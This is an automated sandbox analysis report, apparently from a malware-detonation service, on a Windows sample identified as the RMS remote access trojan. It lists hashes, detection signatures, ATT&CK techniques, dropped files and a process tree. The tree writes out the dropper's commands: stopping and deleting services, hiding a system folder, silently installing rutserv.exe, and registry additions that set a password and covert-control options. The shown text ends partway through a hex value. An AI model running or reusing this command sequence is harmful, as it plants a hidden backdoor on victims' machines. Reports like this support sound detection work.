rms | 1b4d5eadf3e12c8b01e196682b7a77063d22508a95e74c9d90f5cbffe2909b1e

Analysis

max time kernel
148s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 16:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-24_02818de461aa68e3842679ae91023b24_coinminer_elex_mimic_pay2key_wannacry.exe
Size 3.3MB
Sample260925-tgctjavyax
SHA256 1b4d5eadf3e12c8b01e196682b7a77063d22508a95e74c9d90f5cbffe2909b1e
MD5 02818de461aa68e3842679ae91023b24
SHA1 39bf571fd6f2db8ea689d59548247395b167ec5e
SHA512 e2b00abd757861c56c5ece32fa77cffb0e53f3e9a3945d6dbc4071a87766fab4dabe51b257c03ca2348b1a6f43d452d3fd0e570a7b486c54ae70f37ec74c541c
SSDEEP 98304:VgwRnwrPDPnWKw6ki4JNHrotxdJP2jTqQRQT:VggIu5cUpoXdJuSQR+
TLSH
T19EF53345B3F28AFED2541BF0D64B5F5A4D70FA7003250BC341BC0C269979EE1927EAA6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution rms rat trojan upx

Malware Config

Signatures

Family: RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Custom signature

UPX dump on OEP (original entry point) 10 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c519-30.dat	UPX
behavioral2/memory/3588-40-0x0000000000400000-0x0000000000AE6000-memory.dmp	UPX
behavioral2/memory/5684-43-0x0000000000400000-0x0000000000AE6000-memory.dmp	UPX
behavioral2/memory/2968-48-0x0000000000400000-0x0000000000AE6000-memory.dmp	UPX
behavioral2/memory/3588-49-0x0000000000400000-0x0000000000AE6000-memory.dmp	UPX
behavioral2/memory/5684-50-0x0000000000400000-0x0000000000AE6000-memory.dmp	UPX
behavioral2/memory/3588-55-0x0000000000400000-0x0000000000AE6000-memory.dmp	UPX
behavioral2/memory/3588-59-0x0000000000400000-0x0000000000AE6000-memory.dmp	UPX
behavioral2/memory/3588-68-0x0000000000400000-0x0000000000AE6000-memory.dmp	UPX
behavioral2/memory/3588-75-0x0000000000400000-0x0000000000AE6000-memory.dmp	UPX

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4516	attrib.exe

Executes dropped EXE 8 IoCs

pid	Process
3492	DATA.EXE
4548	RUTSERV.EXE
3216	RUTSERV.EXE
4948	RUTSERV.EXE
6136	RUTSERV.EXE
3588	rfusclient.exe
5684	rfusclient.exe
2968	rfusclient.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	DATA.EXE

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000e00000001c517-14.dat	autoit_exe
behavioral2/files/0x000e00000001c518-29.dat	autoit_exe

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c519-30.dat	upx
behavioral2/memory/3588-40-0x0000000000400000-0x0000000000AE6000-memory.dmp	upx
behavioral2/memory/5684-43-0x0000000000400000-0x0000000000AE6000-memory.dmp	upx
behavioral2/memory/2968-48-0x0000000000400000-0x0000000000AE6000-memory.dmp	upx
behavioral2/memory/3588-49-0x0000000000400000-0x0000000000AE6000-memory.dmp	upx
behavioral2/memory/5684-50-0x0000000000400000-0x0000000000AE6000-memory.dmp	upx
behavioral2/memory/3588-55-0x0000000000400000-0x0000000000AE6000-memory.dmp	upx
behavioral2/memory/3588-59-0x0000000000400000-0x0000000000AE6000-memory.dmp	upx
behavioral2/memory/3588-68-0x0000000000400000-0x0000000000AE6000-memory.dmp	upx
behavioral2/memory/3588-75-0x0000000000400000-0x0000000000AE6000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\spom\BPDBRJCT-20260911-1549a.log	cmd.exe
File opened for modification	C:\Windows\spom\cv_debug.log	cmd.exe
File created	C:\Windows\spom\DefaultAppsNew.xml	cmd.exe
File created	C:\Windows\spom\HIDE.EXE	cmd.exe
File created	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260911154415_000_dotnet_runtime_8.0.15_win_x64.msi.log	cmd.exe
File opened for modification	C:\Windows\spom\msedge_installer.log	cmd.exe
File opened for modification	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260911154303.log	cmd.exe
File opened for modification	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260911154303_001_dotnet_hostfxr_6.0.27_win_x64.msi.log	cmd.exe
File created	C:\Windows\spom\RUTSERV.EXE	cmd.exe
File opened for modification	C:\Windows\spom\wmsetup.log	cmd.exe
File created	C:\Windows\spom\dd_NDP472-KB4054530-x86-x64-AllOS-ENU_decompression_log.txt	cmd.exe
File created	C:\Windows\spom\e4aaac98-ca84-4517-8d30-f1bc4dd47e7c.tmp	cmd.exe
File opened for modification	C:\Windows\spom\e4aaac98-ca84-4517-8d30-f1bc4dd47e7c.tmp	cmd.exe
File opened for modification	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260911154415_003_windowsdesktop_runtime_8.0.15_win_x64.msi.log	cmd.exe
File opened for modification	C:\Windows\spom\RUTSERV.EXE	cmd.exe
File created	C:\Windows\spom\uac.cmd	cmd.exe
File created	C:\Windows\spom\wct128F.tmp	cmd.exe
File created	C:\Windows\spom\{47990D1A-ADC0-4998-BA7B-29D20E235344} - OProcSessId.dat	cmd.exe
File created	C:\Windows\spom\DATA.EXE	cmd.exe
File opened for modification	C:\Windows\spom\dd_vcredistMSI3C49.txt	cmd.exe
File opened for modification	C:\Windows\spom\DefaultAppsNew.xml	cmd.exe
File opened for modification	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260911154303_003_windowsdesktop_runtime_6.0.27_win_x64.msi.log	cmd.exe
File created	C:\Windows\spom\{7F4BC96C-BFF9-495F-8383-C3138EF1FF3A} - OProcSessId.dat	cmd.exe
File opened for modification	C:\Windows\spom	attrib.exe
File created	C:\Windows\spom\BroadcastMsg_1789141694.txt	cmd.exe
File created	C:\Windows\spom\dd_vcredistUI3C49.txt	cmd.exe
File created	C:\Windows\spom\JavaDeployReg.log	cmd.exe
File opened for modification	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260911154415_000_dotnet_runtime_8.0.15_win_x64.msi.log	cmd.exe
File opened for modification	C:\Windows\spom\uac.cmd	cmd.exe
File opened for modification	C:\Windows\spom\{47990D1A-ADC0-4998-BA7B-29D20E235344} - OProcSessId.dat	cmd.exe
File opened for modification	C:\Windows\spom\dd_vcredistMSI3C70.txt	cmd.exe
File created	C:\Windows\spom\dd_vcredistUI3C70.txt	cmd.exe
File opened for modification	C:\Windows\spom\jawshtml.html	cmd.exe
File opened for modification	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260911154303_000_dotnet_runtime_6.0.27_win_x64.msi.log	cmd.exe
File opened for modification	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260911154338_003_windowsdesktop_runtime_7.0.16_win_x64.msi.log	cmd.exe
File created	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260911154415_001_dotnet_hostfxr_8.0.15_win_x64.msi.log	cmd.exe
File opened for modification	C:\Windows\spom\wct128F.tmp	cmd.exe
File opened for modification	C:\Windows\spom\~DFC7815671F15F2C95.TMP	cmd.exe
File created	C:\Windows\spom\Microsoft .NET Framework 4.7.2 Setup_20260911_154230865.html	cmd.exe
File opened for modification	C:\Windows\spom\AdobeSFX.log	cmd.exe
File opened for modification	C:\Windows\spom\dd4f35f1-9f6e-4cd1-92c1-1ece52db7a42.tmp	cmd.exe
File created	C:\Windows\spom\dd_vcredistMSI3C49.txt	cmd.exe
File opened for modification	C:\Windows\spom\dd_vcredistUI3C70.txt	cmd.exe
File opened for modification	C:\Windows\spom\JavaDeployReg.log	cmd.exe
File opened for modification	C:\Windows\spom\dd_vcredistUI3C49.txt	cmd.exe
File created	C:\Windows\spom\jawshtml.html	cmd.exe
File created	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260911154303_003_windowsdesktop_runtime_6.0.27_win_x64.msi.log	cmd.exe
File created	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260911154338_000_dotnet_runtime_7.0.16_win_x64.msi.log	cmd.exe
File opened for modification	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260911154338_000_dotnet_runtime_7.0.16_win_x64.msi.log	cmd.exe
File opened for modification	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260911154415_002_dotnet_host_8.0.15_win_x64.msi.log	cmd.exe
File opened for modification	C:\Windows\spom\aria-debug-7104.log	cmd.exe
File created	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260911154303.log	cmd.exe
File opened for modification	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260911154338.log	cmd.exe
File created	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260911154338_001_dotnet_hostfxr_7.0.16_win_x64.msi.log	cmd.exe
File created	C:\Windows\spom\nouac.cmd	cmd.exe
File created	C:\Windows\spom\RFUSCLIENT.EXE	cmd.exe
File created	C:\Windows\spom\cv_debug.log	cmd.exe
File created	C:\Windows\spom\dd4f35f1-9f6e-4cd1-92c1-1ece52db7a42.tmp	cmd.exe
File opened for modification	C:\Windows\spom\mapping.csv	cmd.exe
File created	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260911154303_002_dotnet_host_6.0.27_win_x64.msi.log	cmd.exe
File created	C:\Windows\spom\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260911154338.log	cmd.exe
File opened for modification	C:\Windows\spom\nouac.cmd	cmd.exe
File created	C:\Windows\spom\wmsetup.log	cmd.exe
File created	C:\Windows\spom\AdobeSFX.log	cmd.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3684	sc.exe
3864	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3692	cmd.exe
1560	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	RUTSERV.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	RUTSERV.EXE

System Location Discovery: System Language Discovery 1 TTPs 26 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-09-24_02818de461aa68e3842679ae91023b24_coinminer_elex_mimic_pay2key_wannacry.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DATA.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RUTSERV.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RUTSERV.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RUTSERV.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RUTSERV.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4548	RUTSERV.EXE
4548	RUTSERV.EXE
4548	RUTSERV.EXE
4548	RUTSERV.EXE
4548	RUTSERV.EXE
4548	RUTSERV.EXE
3216	RUTSERV.EXE
3216	RUTSERV.EXE
4948	RUTSERV.EXE
4948	RUTSERV.EXE
6136	RUTSERV.EXE
6136	RUTSERV.EXE
6136	RUTSERV.EXE
6136	RUTSERV.EXE
6136	RUTSERV.EXE
6136	RUTSERV.EXE
5684	rfusclient.exe
5684	rfusclient.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
2968	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4548	RUTSERV.EXE
Token: SeDebugPrivilege	4948	RUTSERV.EXE
Token: SeTakeOwnershipPrivilege	6136	RUTSERV.EXE
Token: SeTcbPrivilege	6136	RUTSERV.EXE
Token: SeTcbPrivilege	6136	RUTSERV.EXE

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3492	DATA.EXE
3492	DATA.EXE
3492	DATA.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3492	DATA.EXE
3492	DATA.EXE
3492	DATA.EXE

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4548	RUTSERV.EXE
3216	RUTSERV.EXE
4948	RUTSERV.EXE
6136	RUTSERV.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4504 wrote to memory of 3492	4504	2026-09-24_02818de461aa68e3842679ae91023b24_coinminer_elex_mimic_pay2key_wannacry.exe	89
PID 4504 wrote to memory of 3692	4504	2026-09-24_02818de461aa68e3842679ae91023b24_coinminer_elex_mimic_pay2key_wannacry.exe	90
PID 3492 wrote to memory of 1560	3492	DATA.EXE	92
PID 1560 wrote to memory of 4560	1560	cmd.exe	94
PID 4560 wrote to memory of 5100	4560	net.exe	95
PID 1560 wrote to memory of 4176	1560	cmd.exe	96
PID 4176 wrote to memory of 2412	4176	net.exe	97
PID 1560 wrote to memory of 3684	1560	cmd.exe	98
PID 1560 wrote to memory of 3864	1560	cmd.exe	99
PID 1560 wrote to memory of 1340	1560	cmd.exe	100
PID 1560 wrote to memory of 4516	1560	cmd.exe	101
PID 1560 wrote to memory of 4548	1560	cmd.exe	102
PID 1560 wrote to memory of 3216	1560	cmd.exe	103
PID 1560 wrote to memory of 2596	1560	cmd.exe	104
PID 1560 wrote to memory of 996	1560	cmd.exe	105
PID 1560 wrote to memory of 1344	1560	cmd.exe	106
PID 1560 wrote to memory of 5844	1560	cmd.exe	107
PID 1560 wrote to memory of 2880	1560	cmd.exe	108
PID 1560 wrote to memory of 1888	1560	cmd.exe	109
PID 1560 wrote to memory of 5268	1560	cmd.exe	110
PID 1560 wrote to memory of 4948	1560	cmd.exe	111
PID 6136 wrote to memory of 3588	6136	RUTSERV.EXE	113
PID 6136 wrote to memory of 5684	6136	RUTSERV.EXE	114
PID 5684 wrote to memory of 2968	5684	rfusclient.exe	116

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4516	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-09-24_02818de461aa68e3842679ae91023b24_coinminer_elex_mimic_pay2key_wannacry.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-24_02818de461aa68e3842679ae91023b24_coinminer_elex_mimic_pay2key_wannacry.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4504
- C:\Users\Admin\AppData\Local\Temp\DATA.EXE
  "C:\Users\Admin\AppData\Local\Temp\DATA.EXE"
  2⤵
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c nouac.cmd
    3⤵
    - Drops file in Windows directory
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1560
  - - C:\Windows\SysWOW64\net.exe
      net stop netaservice
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4560
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop netaservice
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5100
  - - C:\Windows\SysWOW64\net.exe
      net stop rmanservice
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4176
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop rmanservice
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2412
  - - C:\Windows\SysWOW64\sc.exe
      sc delete netaservice
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3684
  - - C:\Windows\SysWOW64\sc.exe
      sc delete rmanservice
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3864
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1340
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h "C:\Windows\spom"
      4⤵
      Sets file to hidden
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4516
  - - C:\Windows\spom\RUTSERV.EXE
      "rutserv.exe" /silentinstall
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4548
  - - C:\Windows\spom\RUTSERV.EXE
      "rutserv.exe" /firewall
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:3216
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "notification" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0072006d0073005f0069006e00650074005f00690064005f006e006f00740069006600690063006100740069006f006e002000760065007200730069006f006e003d0022003600310030003000330022003e003c007500730065003e0074007200750065003c002f007500730065003e003c0065006d00610069006c003e00640066006700760062006400670066007300640067004000790061006e006400650078002e00720075003c002f0065006d00610069006c003e003c00690064003e007b00460034004500360035004500350032002d0046003000320041002d0034004500330041002d0041003300410044002d004500450034004600340046004200320033003100300046007d003c002f00690064003e003c00670065006e00650072006100740065005f006e00650077005f00700061007300730077006f00720064003e00660061006c00730065003c002f00670065006e00650072006100740065005f006e00650077005f00700061007300730077006f00720064003e003c00610073006b005f006900640065006e00740069006600690063006100740069006f006e003e00660061006c00730065003c002f00610073006b005f006900640065006e00740069006600690063006100740069006f006e003e003c00730065006e0074003e00660061006c00730065003c002f00730065006e0074003e003c00760065007200730069006f006e003e00360031003000300033003c002f00760065007200730069006f006e003e003c007000750062006c00690063005f006b00650079005f006d003e003c002f007000750062006c00690063005f006b00650079005f006d003e003c007000750062006c00690063005f006b00650079005f0065003e003c002f007000750062006c00690063005f006b00650079005f0065003e003c00700061007300730077006f00720064003e003c002f00700061007300730077006f00720064003e003c0069006e007400650072006e00650074005f00690064003e003c002f0069006e007400650072006e00650074005f00690064003e003c0064006900730063006c00610069006d00650072003e003c002f0064006900730063006c00610069006d00650072003e003c002f0072006d0073005f0069006e00650074005f00690064005f006e006f00740069006600690063006100740069006f006e003e000d000a00
      4⤵
      System Location Discovery: System Language Discovery
      PID:2596
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "UserAccess" /t REG_BINARY /d
      4⤵
      System Location Discovery: System Language Discovery
      PID:996
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Password" /t REG_BINARY /d 38003900440043004100460043003500460042003900450044004200380041003800370030003400350033003600390033003300350037003700340030003800440031003700410036003500390036003400390033003800460033004100340035003400380036003200370030003100310037004600420036003300390041003700350043004300310039004400360046003400380030003000460030003700320037003900370036004200370030004300420041003800340037003700390034003900300034003600450033003400360034003600350030004300430045004100410045003800390046004100430030003500390037004600390032003400
      4⤵
      System Location Discovery: System Language Discovery
      PID:1344
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "InternetId" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d00310036004c00450022003f003e000d000a003c0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073002000760065007200730069006f006e003d0022003600300030003000340022003e003c0069006e007400650072006e00650074005f00690064003e003c002f0069006e007400650072006e00650074005f00690064003e003c007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e00660061006c00730065003c002f007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e003c0069006e00650074005f007300650072007600650072003e003c002f0069006e00650074005f007300650072007600650072003e003c007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e00660061006c00730065003c002f007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e003c0069006e00650074005f00690064005f0070006f00720074003e0035003600350035003c002f0069006e00650074005f00690064005f0070006f00720074003e003c007500730065005f0069006e00650074005f00690064005f0069007000760036003e00660061006c00730065003c002f007500730065005f0069006e00650074005f00690064005f0069007000760036003e003c002f0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073003e000d000a00
      4⤵
      System Location Discovery: System Language Discovery
      PID:5844
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Options" /t REG_BINARY /d 545046301154524f4d5365727665724f7074696f6e7300095573654e5441757468080d53656375726974794c6576656c020304506f727403121614456e61626c654f7665726c617943617074757265080c53686f775472617949636f6e080642696e644950060d416e7920696e746572666163651343616c6c6261636b4175746f436f6e6e656374091743616c6c6261636b436f6e6e656374496e74657276616c023c084869646553746f70080c497046696c746572547970650202105573654c656761637943617074757265081750726f7465637443616c6c6261636b53657474696e6773081550726f74656374496e6574496453657474696e6773080f446f4e6f7443617074757265524450080755736549507636091141736b557365725065726d697373696f6e0816557365725065726d697373696f6e496e74657276616c031027134175746f416c6c6f775065726d697373696f6e08134e656564417574686f72697479536572766572081f41736b5065726d697373696f6e4f6e6c794966557365724c6f676765644f6e0811557365496e6574436f6e6e656374696f6e0813557365437573746f6d496e6574536572766572080a496e65744964506f727402000d557365496e6574496449507636081444697361626c6552656d6f7465436f6e74726f6c081344697361626c6552656d6f746553637265656e081344697361626c6546696c655472616e73666572080f44697361626c655265646972656374080d44697361626c6554656c6e6574081444697361626c6552656d6f746545786563757465081244697361626c655461736b4d616e61676572080e44697361626c654f7665726c6179080f44697361626c6553687574646f776e081444697361626c6552656d6f746555706772616465081544697361626c655072657669657743617074757265081444697361626c654465766963654d616e61676572080b44697361626c6543686174081344697361626c6553637265656e5265636f7264081044697361626c65415643617074757265081244697361626c6553656e644d657373616765080f44697361626c655265676973747279080d44697361626c65415643686174081544697361626c6552656d6f746553657474696e6773081544697361626c6552656d6f74655072696e74696e67080a44697361626c65526470080f4e6f7469667953686f7750616e656c08144e6f746966794368616e67655472617949636f6e08104e6f7469667942616c6c6f6e48696e74080f4e6f74696679506c6179536f756e64080c4e6f7469667950616e656c5802ff0c4e6f7469667950616e656c5902ff064c6f6755736508055369644964061034323030392e37343435313730303233084c6963656e73657306ae524d532d462d62366665664645334436363231346539363944333744396163653235423032366269593253326459586c52664477776e4932314758554a4544683945586d78785030594756304a5856513066506a6c74446c46564467594841514271664738645556554f446c5246446d42346667494e4841494341514a76594878704141734c4141734d486c516d63323952566b554f41677765557a773562513458576c564c623168654e434a740d50726f787953657474696e67731428010000efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d31364c45223f3e0d0a3c70726f78795f73657474696e67732076657273696f6e3d223630303034223e3c7573655f70726f78793e66616c73653c2f7573655f70726f78793e3c70726f78795f747970653e303c2f70726f78795f747970653e3c686f73743e3c2f686f73743e3c706f72743e383038303c2f706f72743e3c6e6565645f617574683e66616c73653c2f6e6565645f617574683e3c6e746d6c5f617574683e66616c73653c2f6e746d6c5f617574683e3c757365726e616d653e3c2f757365726e616d653e3c70617373776f72643e3c2f70617373776f72643e3c646f6d61696e3e3c2f646f6d61696e3e3c2f70726f78795f73657474696e67733e0d0a1144697361626c65496e7465726e65744964080b536166654d6f6465536574080000
      4⤵
      System Location Discovery: System Language Discovery
      PID:2880
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "FUSClientPath" /t REG_SZ /d "C:\Windows\spom\rfusclient.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1888
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "CalendarRecordSettings" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e002000760065007200730069006f006e003d0022003600300030003000340022003e003c006d00610069006e005f006f007000740069006f006e0073003e003c006100630074006900760065003e00660061006c00730065003c002f006100630074006900760065003e003c0069006e00740065007200760061006c005f00730068006f0074003e00360030003c002f0069006e00740065007200760061006c005f00730068006f0074003e003c00700072006f0074006500630074005f007200650063006f00720064003e00660061006c00730065003c002f00700072006f0074006500630074005f007200650063006f00720064003e003c0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e00390030003c002f0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e003c007300630061006c0065005f007100750061006c006900740079003e003100300030003c002f007300630061006c0065005f007100750061006c006900740079003e003c0063006f006d007000720065007300730069006f006e005f0074007900700065003e0030003c002f0063006f006d007000720065007300730069006f006e005f0074007900700065003e003c006d00610078005f00660069006c0065005f00730069007a0065003e003100300030003c002f006d00610078005f00660069006c0065005f00730069007a0065003e003c006100750074006f005f0063006c006500610072003e00660061006c00730065003c002f006100750074006f005f0063006c006500610072003e003c006100750074006f005f0063006c006500610072005f0064006100790073003e0030003c002f006100750074006f005f0063006c006500610072005f0064006100790073003e003c0075007300650064005f00660069006c0065005f006c0069006d00690074003e0074007200750065003c002f0075007300650064005f00660069006c0065005f006c0069006d00690074003e003c0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e0031003000300030003c002f0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e003c0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d00610067006